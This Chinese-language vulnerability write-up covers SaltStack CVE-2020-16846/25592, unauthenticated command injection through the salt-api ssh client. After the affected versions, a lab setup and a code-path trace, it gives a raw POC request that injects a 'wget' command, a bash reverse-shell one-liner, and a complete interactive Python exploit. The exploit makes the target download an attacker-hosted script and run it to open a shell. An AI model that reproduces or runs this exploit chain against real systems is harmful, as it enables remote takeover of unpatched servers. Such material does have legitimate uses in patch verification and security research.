SaltStack 未授权访问命令执行漏洞 CVE-2020-16846 25592-棉花糖会员站

# SaltStack 未授权访问命令执行漏洞 CVE-2020-16846/25592

## 漏洞描述

2020年11月4日，SaltStack 官方发布了一则安全更新公告，其中CVE-2020-16846和CVE-2020-25592组合使用可在未授权的情况下通过salt-api接口执行任意命令。CVE-2020-25592允许任意用户调用SSH模块，CVE-2020-16846允许用户执行任意命令。salt-api虽不是默认开启配置，但绝大多数SaltStack用户会选择开启salt-api，故存在较高风险。

## 漏洞影响

> [!NOTE]
>
> SaltStack Version 3002
>
> SaltStack Version 3001.1, 3001.2
>
> SaltStack Version 3000.3, 3000.4
>
> SaltStack Version 2019.2.5, 2019.2.6
>
> SaltStack Version 2018.3.5
>
> SaltStack Version 2017.7.4, 2017.7.8
>
> SaltStack Version 2016.11.3, 2016.11.6,2016.11.10
>
> SaltStack Version 2016.3.4, 2016.3.6,2016.3.8
>
> SaltStack Version 2015.8.10, 2015.8.13

## 环境搭建

> [!NOTE]
>
> git clone https://github.com/vulhub/vulhub.git
> cd vulhub/saltstack/CVE-2020-16846
> docker-compose up -d

## 漏洞复现

salt-api REST接口默认使用cherrypy框架，从run接口的实现上可以看出通过client参数动态调用NetapiClient类中的方法。

文中指定代码位置采用以下约定 **FileLocation:Classname.method()**

**salt/netapi/init.py:NetapiClient.run()**

low参数为外部传入参数，salt.utils.args.format_call方法将参数赋值给**kwargs。**

当client参数为ssh时，动态调用**salt/netapi/init.py:NetapiClient.ssh()**, 该方法未采用任何鉴权。

**salt/netapi/init.py:NetapiClient.ssh()**

跟进，路径如下：

**salt/netapi/init.py:NetapiClient.ssh()⇒salt/client/ssh/client.py:SSHClient.cmd_sync()⇒salt/client/ssh/client.py:SSHClient._prep_ssh()**

**salt/client/ssh/client.py:SSHClient._prep_ssh()**

该方法将kwargs外部可控参数更新值opts变量，该变量可以理解为SaltStack系统的环境变量，使用该变量初始化salt.client.ssh.SSH。

**salt/client/ssh/init.py:SSH.__init__()**

priv的值从opts变量中获取，并调用salt.client.ssh.shell.gen_key()方法。

**salt/client/ssh/shell.py:gen_key()**

POC请求包为

“`shell
POST /run HTTP/1.1
Host: 127.0.0.1:8000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/x-yaml
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 109

token=12312&client=ssh&tgt=*&fun=a&roster=whip1ash&ssh_priv=aaa|wget http://xxx.dnslog.cn
“`

反弹shell的方法

先写 bash文件，内容为反弹shell语句，使用wget下载到目标中

> [!NOTE]
>
> #!/bin/sh
> bash -c ‘exec bash -i &>/dev/tcp/xxx.xxx.xxx.xxx/9999 <&1'

监听端口，使用 **/bin/bash** 运行文件反弹shell

## 漏洞利用POC

> [!NOTE]
>
> POC目录中 peiqi.sh文件需要更改反弹ip,port,并上传到服务器让目标进行下载
>
> DNS有响应则代表可能有漏洞，便可以进行反弹shell

“`python
import requests
import sys
import random
import re
from requests.packages.urllib3.exceptions import InsecureRequestWarning

def title():
print(‘+——————————————‘)
print(‘+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m’)
print(‘+ \033[34mGithub : https://github.com/PeiQi0 \033[0m’)
print(‘+ \033[34m公众号 : PeiQi文库 \033[0m’)
print(‘+ \033[34mVersion: SaltStack Version < 2019.2.4 & < 3000.2 \033[0m') print('+ \033[36m使用格式: python3 poc.py \033[0m') print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m’)
print(‘+ \033[36mDnslog >>> xxx.dnslog.cn \033[0m’)
print(‘+ \033[36mFile_addr >>> http://xxx.xxx.xxx/cmd.sh \033[0m’)
print(‘+ \033[36mFile_name >>> cmd.sh \033[0m’)
print(‘+——————————————‘)

def POC_1(target_url, dnslog):
vuln_url = target_url + “/run”
headers = {
“User-Agent”: “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36”,
“Accept-Encoding”: “gzip, deflate”,
“DNT”: “1”,
“Connection”: “close”,
“Upgrade-Insecure-Requests”: “1”,
“Content-Type”: “application/x-www-form-urlencoded”,
“Accept”: “application/x-yaml”,
“Accept-Language”: “en-US,en;q=0.5”
}
data = “token=12312&client=ssh&tgt=*&fun=a&roster=whip1ash&ssh_priv=peiqi|wget http://{}”.format(dnslog)
try:
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
response = requests.post(url=vuln_url, data=data, headers=headers, verify=False, timeout=10)
print(“\033[32m[o] 正在执行 wget http://{} \033[0m”.format(dnslog))
if “return” in response.text and response.status_code == 200:
print(“\033[32m[o] 请查看 Dnslog响应 \033[0m”)
while True:
Chois = input(“\033[35m是否反弹 Shell(Y/N) >>> \033[0m”)
if Chois == “Y” or Chois == “y”:
File_addr = input(“\033[35mFile_addr >>> \033[0m”)
File_name = input(“\033[35mFile_name >>> \033[0m”)
POC_2(target_url, File_addr, File_name)
else:
sys.exit(0)
else:
print(“\033[31m[x] 请求失败 \033[0m”)
sys.exit(0)
except Exception as e:
print(“\033[31m[x] 请求失败 \033[0m”, e)

def POC_2(target_url, File_addr, File_name):
vuln_url = target_url + “/run”
headers = {
“User-Agent”: “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36”,
“Accept-Encoding”: “gzip, deflate”,
“DNT”: “1”,
“Connection”: “close”,
“Upgrade-Insecure-Requests”: “1”,
“Content-Type”: “application/x-www-form-urlencoded”,
“Accept”: “application/x-yaml”,
“Accept-Language”: “en-US,en;q=0.5”
}
data = “token=12312&client=ssh&tgt=*&fun=a&roster=whip1ash&ssh_priv=peiqi|wget {}”.format(File_addr)
try:
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
response = requests.post(url=vuln_url, data=data, headers=headers, verify=False, timeout=10)
print(“\033[32m[o] 正在执行 wget {} \033[0m”.format(File_addr))
if “return” in response.text and response.status_code == 200:
print(“\033[32m[o] 成功下载{} \033[0m”.format(File_addr))
POC_3(target_url, File_name)
else:
print(“\033[31m[x] 请求失败 \033[0m”)
sys.exit(0)
except Exception as e:
print(“\033[31m[x] 请求失败 \033[0m”, e)

def POC_3(target_url, File_name):
vuln_url = target_url + “/run”
headers = {
“User-Agent”: “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36”,
“Accept-Encoding”: “gzip, deflate”,
“DNT”: “1”,
“Connection”: “close”,
“Upgrade-Insecure-Requests”: “1”,
“Content-Type”: “application/x-www-form-urlencoded”,
“Accept”: “application/x-yaml”,
“Accept-Language”: “en-US,en;q=0.5”
}
data = “token=12312&client=ssh&tgt=*&fun=a&roster=whip1ash&ssh_priv=peiqi|/bin/bash {}”.format(File_name)
try:
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
response = requests.post(url=vuln_url, data=data, headers=headers, verify=False, timeout=10)
print(“\033[32m[o] 正在执行 /bin/bash \033[0m”.format(File_name))
if “return” in response.text and response.status_code == 200:
print(“\033[32m[o] 命令执行完毕，请查看是否反弹Shell \033[0m”.format(File_name))
sys.exit(0)
else:
print(“\033[31m[x] 请求失败 \033[0m”)
sys.exit(0)
except Exception as e:
print(“\033[32m[o] 命令执行成功 \033[0m”)
sys.exit(0)

if __name__ == ‘__main__’:
title()
target_url = str(input(“\033[35mPlease input Attack Url\nUrl >>> \033[0m”))
dnslog = str(input(“\033[35mDnslog >>> \033[0m”))
POC_1(target_url, dnslog)
“`